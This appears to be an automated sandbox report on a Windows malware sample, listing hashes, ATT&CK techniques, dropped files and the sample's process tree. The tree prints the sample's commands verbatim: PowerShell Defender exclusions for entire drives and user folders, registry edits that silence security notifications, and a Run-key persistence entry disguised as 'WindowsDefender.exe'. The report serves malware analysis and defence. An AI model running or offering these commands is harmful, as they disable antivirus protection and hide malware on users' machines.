515d4efa87e4dc9103d0d3f42c2b241177e6a5436be06b7f2cff9211be6ea1a6

Analysis

max time kernel
90s
max time network
167s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
06-11-2024 23:55

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General

Target

28b51218b1f1a5250f851180c3bca3c79397a9fc36089a2e356f45b667881209.exe
Size

4.6MB
MD5

6c8e7b9edb130c9dab130f66f9bad1c3
SHA1

332e1d7efdf2dc5ecaf6349db417f143b48d60e3
SHA256

28b51218b1f1a5250f851180c3bca3c79397a9fc36089a2e356f45b667881209
SHA512

74998f93ff487d554c7734e5e7be148a0811d71164447c2a6816469338cc1b00b201e28b2ae01aa3162f63f8908782626206d84a8d62bb64960d0aa8ef38f6c3
SSDEEP

98304:N1Mie3EZD4qxp6QQ7Xs/Vd28BfkFsIjfxVFms:N17ZDxpFQ7XYZfkFsEf8s

Score

10^/10

evasion execution persistence trojan

Malware Config

Signatures

Modifies Windows Defender notification settings 3 TTPs 2 IoCs

evasion trojan

Windows Service

T1543.003

Modify Registry

T1112

Disable or Modify Tools

T1562.001

Processes:

reg.exe

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender Security Center\Notifications	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender Security Center\Notifications\DisableEnhancedNotifications = "1"	reg.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 6 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

Processes:

powershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exe

pid	Process
4288	powershell.exe
2924	powershell.exe
3516	powershell.exe
3124	powershell.exe
1720	powershell.exe
4360	powershell.exe

Disables Task Manager via registry modification
evasion

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

28b51218b1f1a5250f851180c3bca3c79397a9fc36089a2e356f45b667881209.exe

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\Control Panel\International\Geo\Nation	28b51218b1f1a5250f851180c3bca3c79397a9fc36089a2e356f45b667881209.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Processes:

reg.exe

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\DEFENDERSERVICE = "C:\\Users\\Admin\\AppData\\Local\\NEWDRIVERS2\\WindowsDefender.exe"	reg.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

Processes:

reg.exe

pid	Process
2168	reg.exe

Suspicious behavior: EnumeratesProcesses 12 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exe

pid	Process
4288	powershell.exe
4288	powershell.exe
2924	powershell.exe
2924	powershell.exe
3516	powershell.exe
3516	powershell.exe
3124	powershell.exe
3124	powershell.exe
1720	powershell.exe
1720	powershell.exe
4360	powershell.exe
4360	powershell.exe

Suspicious use of AdjustPrivilegeToken 6 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exe

description	pid	Process
Token: SeDebugPrivilege	4288	powershell.exe
Token: SeDebugPrivilege	2924	powershell.exe
Token: SeDebugPrivilege	3516	powershell.exe
Token: SeDebugPrivilege	3124	powershell.exe
Token: SeDebugPrivilege	1720	powershell.exe
Token: SeDebugPrivilege	4360	powershell.exe

Suspicious use of WriteProcessMemory 24 IoCs

Processes:

28b51218b1f1a5250f851180c3bca3c79397a9fc36089a2e356f45b667881209.execmd.exe

description	pid	Process	procid_target
PID 4768 wrote to memory of 936	4768	28b51218b1f1a5250f851180c3bca3c79397a9fc36089a2e356f45b667881209.exe	86
PID 4768 wrote to memory of 936	4768	28b51218b1f1a5250f851180c3bca3c79397a9fc36089a2e356f45b667881209.exe	86
PID 936 wrote to memory of 4288	936	cmd.exe	89
PID 936 wrote to memory of 4288	936	cmd.exe	89
PID 936 wrote to memory of 2924	936	cmd.exe	90
PID 936 wrote to memory of 2924	936	cmd.exe	90
PID 936 wrote to memory of 3516	936	cmd.exe	91
PID 936 wrote to memory of 3516	936	cmd.exe	91
PID 936 wrote to memory of 3124	936	cmd.exe	92
PID 936 wrote to memory of 3124	936	cmd.exe	92
PID 936 wrote to memory of 1720	936	cmd.exe	95
PID 936 wrote to memory of 1720	936	cmd.exe	95
PID 936 wrote to memory of 4360	936	cmd.exe	97
PID 936 wrote to memory of 4360	936	cmd.exe	97
PID 936 wrote to memory of 3872	936	cmd.exe	99
PID 936 wrote to memory of 3872	936	cmd.exe	99
PID 936 wrote to memory of 4456	936	cmd.exe	100
PID 936 wrote to memory of 4456	936	cmd.exe	100
PID 936 wrote to memory of 4432	936	cmd.exe	101
PID 936 wrote to memory of 4432	936	cmd.exe	101
PID 936 wrote to memory of 2168	936	cmd.exe	102
PID 936 wrote to memory of 2168	936	cmd.exe	102
PID 936 wrote to memory of 976	936	cmd.exe	103
PID 936 wrote to memory of 976	936	cmd.exe	103

C:\Users\Admin\AppData\Local\Temp\28b51218b1f1a5250f851180c3bca3c79397a9fc36089a2e356f45b667881209.exe
"C:\Users\Admin\AppData\Local\Temp\28b51218b1f1a5250f851180c3bca3c79397a9fc36089a2e356f45b667881209.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4768
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\NEWDRIVERS2\1.bat" "
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:936
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "D:"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4288
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2924
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:/NEWDRIVERS"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3516
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\Downloads"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3124
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\Desktop"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1720
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\NEWDRIVERS2"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4360
- - C:\Windows\system32\reg.exe
    REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /f /v DisableTaskMgr /t REG_DWORD /d 0
    3⤵
    PID:3872
- - C:\Windows\system32\reg.exe
    REG ADD "HKCU\Software\Policies\Microsoft\Windows\Explorer" /f /v DisableNotificationCenter /t REG_DWORD /d 1
    3⤵
    PID:4456
- - C:\Windows\system32\reg.exe
    REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender Security Center\Notifications" /f /v DisableEnhancedNotifications /t REG_DWORD /d 1
    3⤵
    - Modifies Windows Defender notification settings
    PID:4432
- - C:\Windows\system32\reg.exe
    REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v DEFENDERSERVICE /t REG_SZ /d "C:\Users\Admin\AppData\Local\NEWDRIVERS2\WindowsDefender.exe"
    3⤵
    - Adds Run key to start application
    - Modifies registry key
    PID:2168
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K C:\Users\Admin\AppData\Local\NEWDRIVERS2\rar.bat
    3⤵
    PID:976

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Defense Evasion

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
64B

MD5
0ff7e1af4cc86e108eef582452b35523

SHA1
c2ccf2811d56c3a3a58dced2b07f95076c6b5b96

SHA256
62ed8ef2250f9f744852cb67df0286c80f94e26aed646989b76e5b78f2f1f0d0

SHA512
374675fd36cd8bc38acaec44d4cc855b85feece548d99616496d498e61e943fd695fec7c57550a58a32455e8b21b41bafa18cd1dadac69676fff1de1a56da937

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
64B

MD5
446dd1cf97eaba21cf14d03aebc79f27

SHA1
36e4cc7367e0c7b40f4a8ace272941ea46373799

SHA256
a7de5177c68a64bd48b36d49e2853799f4ebcfa8e4761f7cc472f333dc5f65cf

SHA512
a6d754709f30b122112ae30e5ab22486393c5021d33da4d1304c061863d2e1e79e8aeb029cae61261bb77d0e7becd53a7b0106d6ea4368b4c302464e3d941cf7

Download Submit
C:\Users\Admin\AppData\Local\NEWDRIVERS2\1.bat

Filesize
3KB

MD5
d3c39da2d7207deda43b50b864d711a6

SHA1
524e21299fbd42ec1a615a5d67117312996c7922

SHA256
8f803b854c5ae49b6529e08a507a575b695adf826d995ecddd55a315e12d8da7

SHA512
f9e1337a2bf229bc454ff1972b50886baac93ea5f4bb0f8482eb4f9aa1183876973cc00ff9bc19e0cd067576e71224f70de9d27b04407087be5ef89180518cc7

Download Submit
C:\Users\Admin\AppData\Local\NEWDRIVERS2\rar.bat

Filesize
351B

MD5
ce7ef89a43335bb80b9e9b0b67d1a904

SHA1
d1abb8760f3f95744c457825ce89a6686dd094d6

SHA256
8819312c4d6d83836551a96f3ba8f793db1b6caf573a4fdfc1f26cfc71a3116f

SHA512
b03e4f0a3fb727a63583699e7b8a4735edc607d00ada573bc8c7eb6e03a3c386fbc94610a80ea78df857f345f2756a8bdd2e42e6236911f214ee15bf92984ac0

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_5upd2mci.ldx.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/4288-9-0x00007FF9E7993000-0x00007FF9E7995000-memory.dmp

Filesize
8KB

Download
memory/4288-19-0x000001BE73AB0000-0x000001BE73AD2000-memory.dmp

Filesize
136KB

Download
memory/4288-22-0x00007FF9E7990000-0x00007FF9E8451000-memory.dmp

Filesize
10.8MB

Download
memory/4288-80-0x00007FF9E7990000-0x00007FF9E8451000-memory.dmp

Filesize
10.8MB

Download